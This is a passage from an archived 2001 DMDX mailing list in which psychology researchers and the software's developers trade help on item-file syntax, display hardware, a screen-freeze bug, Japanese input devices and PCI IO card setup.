person responds, with no timeout. I have tried to use the response contingency keyword but it tells me ""response contingent frame without correct response. Am I using the command incorrectly? if so what is the right way? Is there a better way to do this? What is the N supposed to represent? Is it the item number? The number of responses? The number of items with rc? I am using version 2.1.00. Thank You, Pam F719 0 ""READY?"" ; -1 * ""DOWN""/; +2 * ""DRUGS""/; +3 * ""EARS""/; -4 * ""EAT""/; 0 ""THE END""; Pamela Perschler Research Assistant Cognition & Neuroimaging Laboratory Psychology Department University of Arizona, Tucson (520)621-8792 e-mail:pamelap@u.arizona.edu ""I can't see my self in the mirror with my eyes closed."" -They Might Be Giants >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 28 16:20:36 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA25192 for ; Wed, 28 Feb 2001 16:20:29 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3A6F7561002CA514 for DMDX@psy1.psych.arizona.edu; Wed, 28 Feb 2001 16:20:28 -0700 Message-Id: <5.0.2.1.2.20010228161757.009e4350@psy1.psych.arizona.edu> Date: Wed, 28 Feb 2001 16:20:29 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: response contingency In-Reply-To: <3A6F75620001CF85@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:58 PM 2/28/01 -0700, you wrote: >I am running a program in which I want the frames to advance when the person >responds, with no timeout. I have tried to use the response contingency > keyword but it tells me ""response contingent frame without correct >response. Am I using the command incorrectly? if so what is the right way? >Is there a better way to do this? What is the N supposed to represent? Is >it the item number? The number of responses? The number of items with rc? >I am using version 2.1.00. Download the latest version and look at the help on the keyword. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What you enjoy is much more important then what you have. >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 28 16:20:57 2001 Received: from lilac.csi.cam.ac.uk (exim@lilac.csi.cam.ac.uk [131.111.8.44]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA25207 for ; Wed, 28 Feb 2001 16:20:50 -0700 Received: from sjb90.trin.cam.ac.uk ([131.111.212.253] helo=sjb90) by lilac.csi.cam.ac.uk with smtp (Exim 3.16 #1) id 14YFtq-0004xF-00 for DMDX@psy1.psych.arizona.edu; Wed, 28 Feb 2001 23:20:50 +0000 Message-ID: <006301c0a1dd$08409b30$fdd46f83@sjb90> From: ""Stuart Bell"" To: References: <3A6F75620001CF85@deimos.email.Arizona.EDU> Subject: [DMDX] Re: response contingency Date: Wed, 28 Feb 2001 23:20:26 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hiya Pam, > I want the frames to advance when the person > responds, with no timeout. I know nothing about the keyword but I'm doing a similar thing at the moment, and use the keyword (no time limit) so that there is no timeout for the trials. Hope that helps, Stuart. ----- Original Message ----- From: ""Pamela Perschler"" To: ""DMDX"" Sent: Wednesday, February 28, 2001 10:58 PM Subject: [DMDX] response contingency > I am running a program in which I want the frames to advance when the person > responds, with no timeout. I have tried to use the response contingency > keyword but it tells me ""response contingent frame without correct > response. Am I using the command incorrectly? if so what is the right way? > Is there a better way to do this? What is the N supposed to represent? Is > it the item number? The number of responses? The number of items with rc? > I am using version 2.1.00. > Thank You, > Pam > > F719 > > > 0 ""READY?"" ; > -1 * ""DOWN""/; > +2 * ""DRUGS""/; > +3 * ""EARS""/; > -4 * ""EAT""/; > 0 ""THE END""; > > > Pamela Perschler > Research Assistant > Cognition & Neuroimaging Laboratory > Psychology Department > University of Arizona, Tucson > (520)621-8792 > e-mail:pamelap@u.arizona.edu > > ""I can't see my self in the mirror with my eyes closed."" > -They Might Be Giants > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 28 16:27:45 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA25233 for ; Wed, 28 Feb 2001 16:27:33 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3A6F7561002CA7E4 for DMDX@psy1.psych.arizona.edu; Wed, 28 Feb 2001 16:27:32 -0700 Message-Id: <5.0.2.1.2.20010228162526.009ed1b0@psy1.psych.arizona.edu> Date: Wed, 28 Feb 2001 16:27:33 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: response contingency In-Reply-To: <5.0.2.1.2.20010228161757.009e4350@psy1.psych.arizona.edu> References: <3A6F75620001CF85@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:20 PM 2/28/01 -0700, you wrote: > Download the latest version and look at the help on the > keyword. Belay that, you don't want or anything fancy at all. Stuart is right, see . Although reading will provide info on why you don't ever want to use . -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What you enjoy is much more important then what you have. >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 28 16:44:34 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA25388 for ; Wed, 28 Feb 2001 16:44:28 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E002D0AF7 for DMDX@psy1.psych.arizona.edu; Wed, 28 Feb 2001 16:44:27 -0700 Message-Id: <4.3.1.1.20010228164136.02660d70@kforster.inbox.email.arizona.edu> Date: Wed, 28 Feb 2001 16:44:30 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: response contingency In-Reply-To: <3A6F75620001CF85@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Pam, At 03:58 PM 2/28/01 -0700, you wrote: >I am running a program in which I want the frames to advance when the person >responds, with no timeout. > > F719 > > >0 ""READY?"" ; >-1 * ""DOWN""/; >+2 * ""DRUGS""/; >+3 * ""EARS""/; >-4 * ""EAT""/; >0 ""THE END""; You can get the effect you want by eliminating the frame delimiter . Without that, DMDX proceeds to the next item as soon as the subject responds. Thus: >-1* ""DOWN""; >+2 ""DRUGS""; >+3 ""EARS""; >-4 ""EAT""; --Ken Forster >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 5 05:08:41 2001 Received: from infoserv.hc.uec.ac.jp (infoserv.hc.uec.ac.jp [130.153.13.206]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id FAA04712 for ; Mon, 5 Mar 2001 05:07:57 -0700 Received: from hc.uec.ac.jp ([130.153.194.139]) by infoserv.hc.uec.ac.jp (8.9.3/3.7W99121514) with SMTP id VAA06976 for ; Mon, 5 Mar 2001 21:07:56 +0900 (JST) Message-Id: <200103051207.AA01373@hc.uec.ac.jp> From: Masaki Hisano Date: Mon, 05 Mar 2001 21:07:09 +0900 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] input devices in 2-byte characters MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I'm trying to use DMDX on a Japanese version of Windows 98/Me. When I do the input device test of TimeDX, available devices (e.g. keyboard, mouse) are presented in Japanese, and the tests are successfully done (i.e., pressed key/button are highlighted). But DMDX doesn't work. (1) Using , the following message is shown 'Input Device selection failed'. In addition, a part of is turned to illegal characters. (2) Using , the following message is shown 'Missing quote in input device name '. Are there any good ideas to clear these problem that are caused by processing 2-byte characters ? ============================================================== HISANO, Masaki hisano@hc.uec.ac.jp The University of Electro-Communications, Tokyo, Japan ============================================================== >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 5 09:14:05 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA05298 for ; Mon, 5 Mar 2001 09:13:54 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E0031FACE for DMDX@psy1.psych.arizona.edu; Mon, 5 Mar 2001 09:13:52 -0700 Message-Id: <5.0.2.1.2.20010305085644.009e7680@psy1.psych.arizona.edu> Date: Mon, 05 Mar 2001 09:13:50 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: input devices in 2-byte characters In-Reply-To: <200103051207.AA01373@hc.uec.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:07 PM 3/5/01 +0900, you wrote: >I'm trying to use DMDX on a Japanese version of Windows 98/Me. >... >Are there any good ideas to clear these problem that are caused by >processing 2-byte characters ? Unfortunately no. Other than trying to use a different font which I don't think you can do. Only possible thing is for you to do is to send me a copy of your OS (you can probably just FTP the cabinets to me or if you're capable setup a server I can download them from) and for me to set a machine up here with those cabinets so I can see just what is going on, then I can modify DMDX to deal with the situation. I might need a copy of whatever you use to edit them but hopefully not, I'm not exactly conversant in Japanese, if we're lucky just an item file made by you will suffice. But you're into reimbursement territory and the current ante is a digital camera with some sort of zoom ability. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A jury consists of twelve persons chosen to decide who has the better lawyer. - Robert Frost >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 5 10:52:42 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA05596 for ; Mon, 5 Mar 2001 10:52:22 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id MAA03020; Mon, 5 Mar 2001 12:52:17 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f25HqIS00893; Mon, 5 Mar 2001 12:52:18 -0500 (EST) Date: Mon, 5 Mar 2001 12:52:18 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] tachistoscopic displays In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list FYI: We have been putting together a system to do tachistoscopic displays. The prototype system uses liquid crystal goggles and an 8-button response box, with all of this controlled using DMDX. Our lab web page contains a complete description of all the components, including sources and estimated costs. Components can all be ordered separately from the sources listed on the page. -Michael http://www.nd.edu/~mwenger1 (click on ""Preprints"") ------------------------------------------------------------------- Michael J. Wenger Department of Psychology University of Notre Dame Notre Dame IN 46556 Office phone: (219) 631-9429 Dept. fax: (219) 631-8883 E-mail: Michael.J.Wenger.4@nd.edu mwenger1@nd.edu http://www.nd.edu/~mwenger1 ------------------------------------------------------------------- >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 5 12:35:56 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA05893 for ; Mon, 5 Mar 2001 12:35:42 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3AA3EA7400000019 for DMDX@psy1.psych.arizona.edu; Mon, 5 Mar 2001 12:35:41 -0700 Message-Id: <5.0.2.1.2.20010305123509.009e96e0@psy1.psych.arizona.edu> Date: Mon, 05 Mar 2001 12:35:43 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: tachistoscopic displays In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:52 PM 3/5/01 -0500, you wrote: >FYI: We have been putting together a system to do tachistoscopic displays. What sort of minimum exposure time do you get with those shutters? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What you enjoy is much more important then what you have. >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 5 14:56:09 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA06227 for ; Mon, 5 Mar 2001 14:55:55 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id QAA10039 for ; Mon, 5 Mar 2001 16:55:54 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f25Ltth19903 for ; Mon, 5 Mar 2001 16:55:55 -0500 (EST) Date: Mon, 5 Mar 2001 16:55:55 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: tachistoscopic displays In-Reply-To: <5.0.2.1.2.20010305123509.009e96e0@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathan -- the tolerances are ~1 ms on opening, and ~2 ms on reducing the usable information to 10% of max. The crystals require ~4 ms to relax after the electrical field is turned off but disperse the light quite effectively after ~2 ms. Milgram provides much more detail in the '87 BRMIC paper. -Michael > >FYI: We have been putting together a system to do tachistoscopic displays. > > What sort of minimum exposure time do you get with those shutters? >From DMDX-owner@psy1.psych.arizona.edu Fri Mar 9 12:01:05 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA16576 for ; Fri, 9 Mar 2001 12:00:26 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3AA3ED6200067409 for DMDX@psy1.psych.arizona.edu; Fri, 9 Mar 2001 12:00:25 -0700 Message-Id: <5.0.2.1.2.20010309110359.009e82d0@psy1.psych.arizona.edu> Date: Fri, 09 Mar 2001 12:00:27 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 3 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list It looks like the next version of DMDX has to be a substantial departure from what has gone before, to wit, I am going to have to start using the 3D capabilities that come with any video designed in the last three or four years. Granted there is a lot of hardware out there that is being used for running DMDX that was designed more than four years ago, however the state of the computer industry, specifically the video card portion of it is that the features that DMDX use have become passe. More to the point in looking through the latest release of DirectX (version 8) I notice that almost every function that DMDX uses has been dropped. While this is not immediate cause for concern as legacy interfaces will always be supported it does mean that video card driver writers are not writing specifically to the feature set that DMDX uses. Which would be fine if DMDX was a vanilla flavored application, it's not however, so we wind up with things like the situation with the GeForce series of video cards where DMDX crashes their drivers outright and has to be severely hobbled by limiting the number of back buffers it uses from up to 24 down to only 4 buffers. And this is only the beginning. So the way around that is to redesign DMDX to use the features that the latest video cards are offering and at the moment it looks like I'll be able to build a much more robust display engine. While I am technically using 3D interfaces you won't be able to tell the difference and because the cards are so damn fast the fact that DMDX's output is actually being rendered in 3D is moot. What it does mean is that the extreme pipelining found in 3D cards that works against DMDX's current design will be made to work for us so DMDX will be in effect issuing commands that won't have any effect for something like two retraces so if DMDX is preempted it can be preempted for a lot longer than it ever used to be without making an error. The cost? DMDX version 3 won't work on a lot of hardware currently used to run DMDX 2. While the video cards are cheap enough (I can find TNT2 Vanta cards for $30 on Price Watch and if you could find TNT1 cards they will be cheaper and just as good) some people are going to have to upgrade mother boards and CPUs as well because almost all 3D video cards are AGP devices and old Pentiums don't have AGP slots, nor do they really have the horse power for 3D operations. While there are 3dfx PCI video cards that might be usable and I also hear that NVIDIA makes PCI cards I'm betting that upgrading to a modern AGP motherboard will be the best option -- of course, that's probably going to mean a new ATX case as well... None of this will be happening soon, this is an extreme overhaul of DMDX's structure and it will likely take me months to complete, however I am letting people know about it so that purchasing decisions can be made with some forethought. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What you enjoy is much more important then what you have. >From DMDX-owner@psy1.psych.arizona.edu Sat Mar 10 15:21:45 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA19309 for ; Sat, 10 Mar 2001 15:21:17 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3AA98B1700008962; Sat, 10 Mar 2001 15:21:16 -0700 Message-ID: <3AA98B1800000287@deimos.email.Arizona.EDU> Date: Sat, 10 Mar 2001 15:21:15 -0700 From: ""Keolani Taitano"" Subject: [DMDX] problem with screen freezing To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I've been having a problem with the screen freezing at run time with DMDX 2.4 that the syntax checker does not complain about. The program presents a series of *.bmp files that are 902 kb and 480 X 640 in size that were saved as 16-bit pictures. When this occurs I'm unable to get out of the freeze with any key commands or by rebooting the computer and have to turn off my surge protector, so I get no information from on what may have gone wrong and lose all my data. The freeze occurs on different item lines and on different items within the line and doesn't always occur (seems to happen 3 out of every 4 runs). The video mode is set to 16 bit for 480 X 640. The only thing that seems unusual is that for the fairly old 60 Hz monitor I'm using when I do the advanced Time Video Mode test I get a value of 16.34 instead of 16.67, but I've also had the freezing problem when using video goggles. The svideo card is an ATI Rage 128 Pro 3D with 32 MB of RAM using an AGP slot. PC specs are: DFI AK74-SC motherboard with 64 MB RAM and 700MHz AMD Duron CPU chip. My programs consist of either 2 or 8 sets of 12 item lines. All *.bmp files are 902 kb except the ""SelfValence"" file, which is just 38 kb. The code consists of: t2500 f.5 d90 8801 ""Ready?""/ ""Set 1""; 8802 d60/; +1001 /%12 /%30 g"" E:\\Data\\Fetzer\\SelfValence.bmp"" / %20 g"" E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o1 /%128 g *"" E:\\Data\\Fetzer\\1120.bmp""/%6 g"" E:\\Data\\Fetzer\\Bs2m01o.bmp""/ ; +1002 /%120 /%30 g"" E:\\Data\\Fetzer\\SelfValence.bmp"" / %20 g"" E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o0 /%128 g *"" E:\\Data\\Fetzer\\2160.bmp""/%6 g"" E:\\Data\\Fetzer\\Bs2m03o.bmp""/ ; -1003 /%24 /%30 g"" E:\\Data\\Fetzer\\SelfValence.bmp"" / %20 g"" E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o2 /%128 g *"" E:\\Data\\Fetzer\\9570.bmp""/%6 g"" E:\\Data\\Fetzer\\Bs2m04o.bmp""/ ; -1004 /%84 /%30 g"" E:\\Data\\Fetzer\\SelfValence.bmp"" / %20 g"" E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o2 /%128 g *"" E:\\Data\\Fetzer\\3230.bmp""/%6 g"" E:\\Data\\Fetzer\\Bs2m02f.bmp""/ ; +1005 /%36 /%30 g"" E:\\Data\\Fetzer\\SelfValence.bmp"" / %20 g"" E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o1 /%128 g *"" E:\\Data\\Fetzer\\4470.bmp""/%6 g"" E:\\Data\\Fetzer\\Bs2m03f.bmp""/ ; +1006 /%96 /%30 g"" E:\\Data\\Fetzer\\SelfValence.bmp"" / %20 g"" E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o0 /%128 g *"" E:\\Data\\Fetzer\\8531.bmp""/%6 g"" E:\\Data\\Fetzer\\Bs2m05f.bmp""/ ; +1007 /%60 /%30 g"" E:\\Data\\Fetzer\\SelfValence.bmp"" / %20 g"" E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o0 /%128 g *"" E:\\Data\\Fetzer\\2340.bmp""/%6 g"" E:\\Data\\Fetzer\\Bs2m07f.bmp""/ ; +1008 /%48 /%30 g"" E:\\Data\\Fetzer\\SelfValence.bmp"" / %20 g"" E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o0 /%128 g *"" E:\\Data\\Fetzer\\1590.bmp""/%6 g"" E:\\Data\\Fetzer\\Bs2m01f.bmp""/ ; -1009 /%72 /%30 g"" E:\\Data\\Fetzer\\SelfValence.bmp"" / %20 g"" E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o2 /%128 g *"" E:\\Data\\Fetzer\\3030.bmp""/%6 g"" E:\\Data\\Fetzer\\Bs2m06o.bmp""/ ; +1010 /%108 /%30 g"" E:\\Data\\Fetzer\\SelfValence.bmp"" / %20 g"" E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o1 /%128 g *"" E:\\Data\\Fetzer\\7035.bmp""/%6 g"" E:\\Data\\Fetzer\\Bs2m07o.bmp""/ ; -1011 /%0 /%30 g"" E:\\Data\\Fetzer\\SelfValence.bmp"" / %20 g"" E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o2 /%128 g *"" E:\\Data\\Fetzer\\9180.bmp""/%6 g"" E:\\Data\\Fetzer\\Bs2m06f.bmp""/ ; +1012 /%84 /%30 g"" E:\\Data\\Fetzer\\SelfValence.bmp"" / %20 g"" E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o1 /%128 g *"" E:\\Data\\Fetzer\\2810.bmp""/%6 g"" E:\\Data\\Fetzer\\Bs2m02o.bmp""/ ; !Set 2; 8803 ; 8804 ""Ready?""/ ""Set2"" ; 8805 d60/; . . . . etc. for 2 or 7 more blocks. 9901 ; 9902 ""Thank You"" ; Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-235-9588 fax: 253-369-3571 >From DMDX-owner@psy1.psych.arizona.edu Sat Mar 10 16:14:42 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA19466 for ; Sat, 10 Mar 2001 16:14:36 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by phobos.email.Arizona.EDU (5.1.056) id 3AA98039000082D1 for DMDX@psy1.psych.arizona.edu; Sat, 10 Mar 2001 16:14:35 -0700 Message-Id: <5.0.2.1.2.20010310160211.009df5e0@psy1.psych.arizona.edu> Date: Sat, 10 Mar 2001 16:14:33 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: problem with screen freezing In-Reply-To: <3AA98B1800000287@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:21 PM 3/10/01 -0700, you wrote: >I've been having a problem with the screen freezing at run time with DMDX >2.4 that the syntax checker does not complain about. The program presents >a series of *.bmp files that are 902 kb and 480 X 640 in size that were >saved as 16-bit pictures. When this occurs I'm unable to get out of the >freeze with any key commands or by rebooting the computer and have to turn >off my surge protector, so I get no information from on what may have gone >wrong and lose all my data. The freeze occurs on different item lines and >on different items within the line and doesn't always occur (seems to happen >3 out of every 4 runs). I'd be suspecting general machine stability under those circumstances. I have a couple of test programs you can run if you want me to send them to you. >The video mode is set to 16 bit for 480 X 640. The only thing that seems >unusual is that for the fairly old 60 Hz monitor I'm using when I do the >advanced Time Video Mode test I get a value of 16.34 instead of 16.67, but >I've also had the freezing problem when using video goggles. What drives the goggles? Is it a DMDX task or is it another piece of software. If another program is crashing all bets are off. >The svideo card is an ATI Rage 128 Pro 3D with 32 MB of RAM using an AGP >slot. >PC specs are: DFI AK74-SC motherboard with 64 MB RAM and 700MHz AMD Duron >CPU chip. Never been a fan of DFI motherboards. How large is the power supply in the machine, we've seen strange behavior with 700MHz Durons with less than 300W supplies. >My programs consist of either 2 or 8 sets of 12 item lines. All *.bmp files >are 902 kb except the ""SelfValence"" file, which is just 38 kb. The code >consists of: > > t2500 f.5 d90 >27> > > >8801 ""Ready?""/ ""Set 1""; >8802 d60/; > >+1001 >/%12 /%30 g"" E:\\Data\\Fetzer\\SelfValence.bmp"" >/ %20 g"" >E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o1 /%128 g >*"" E:\\Data\\Fetzer\\1120.bmp""/%6 > g"" >E:\\Data\\Fetzer\\Bs2m01o.bmp""/ ; Looks fine to me, no scrambling so the item order is never going to change so if things are crashing it's almost got to be a non DMDX issue, or possibly an issue that DMDX is exposing. I'm impressed the code handles white space at the beginning of the graphic file names. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 12 08:43:24 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA23514 for ; Mon, 12 Mar 2001 08:42:57 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id KAA21819 for ; Mon, 12 Mar 2001 10:42:55 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f2CFgus15861 for ; Mon, 12 Mar 2001 10:42:56 -0500 (EST) Date: Mon, 12 Mar 2001 10:42:56 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] configuring PCI bus IO card In-Reply-To: <5.0.2.1.2.20010217180637.009ebd30@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list We're currently playing with one of Keithley's PCI bus digital IO cards (KPCI PIO24). We've got the card configured, and it recognizes the attached devices. However, TimeDX can't locate the board for a PIO test, most likely because we don't have the correct address. The Keithley diagnostics for this card don't give us a way to determine the address (as was possible with the PIO12). Is there a way to determine the correct address (hex) for this card? Thanks, -Michael Wenger ------------------------------------------------------------------- Michael J. Wenger Department of Psychology University of Notre Dame Notre Dame IN 46556 Office phone: (219) 631-9429 Dept. fax: (219) 631-8883 E-mail: Michael.J.Wenger.4@nd.edu mwenger1@nd.edu http://www.nd.edu/~mwenger1 ------------------------------------------------------------------- >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 12 09:00:14 2001 Received: from mask.uits.indiana.edu (mask.uits.indiana.edu [129.79.6.184]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA23601 for ; Mon, 12 Mar 2001 09:00:08 -0700 Received: from indiana.edu (dial-123-62.dial.indiana.edu [156.56.123.62]) by mask.uits.indiana.edu (8.10.1/8.10.1/IUPO) with ESMTP id f2CG04F12586 for ; Mon, 12 Mar 2001 11:00:05 -0500 (EST) Message-ID: <3AACF2A4.B5400E51@indiana.edu> Date: Mon, 12 Mar 2001 11:00:36 -0500 From: Jesse Spencer-Smith MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: configuring PCI bus IO card References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Michael - Have you looked under the System Properties:Device Manager (right-click My Computer, select Properties)? There should be a listing for the PCI DIO card if Windows recognized it. Look under Properties:Resources. The I/O range should be the address. Regards, Jesse ""Michael J. Wenger"" wrote: > > We're currently playing with one of Keithley's PCI bus digital IO cards > (KPCI PIO24). We've got the card configured, and it recognizes the > attached devices. However, TimeDX can't locate the board for a PIO test, > most likely because we don't have the correct address. The Keithley > diagnostics for this card don't give us a way to determine the address > (as was possible with the PIO12). Is there a way to determine the correct > address (hex) for this card? Thanks, -Michael Wenger > > ------------------------------------------------------------------- > Michael J. Wenger 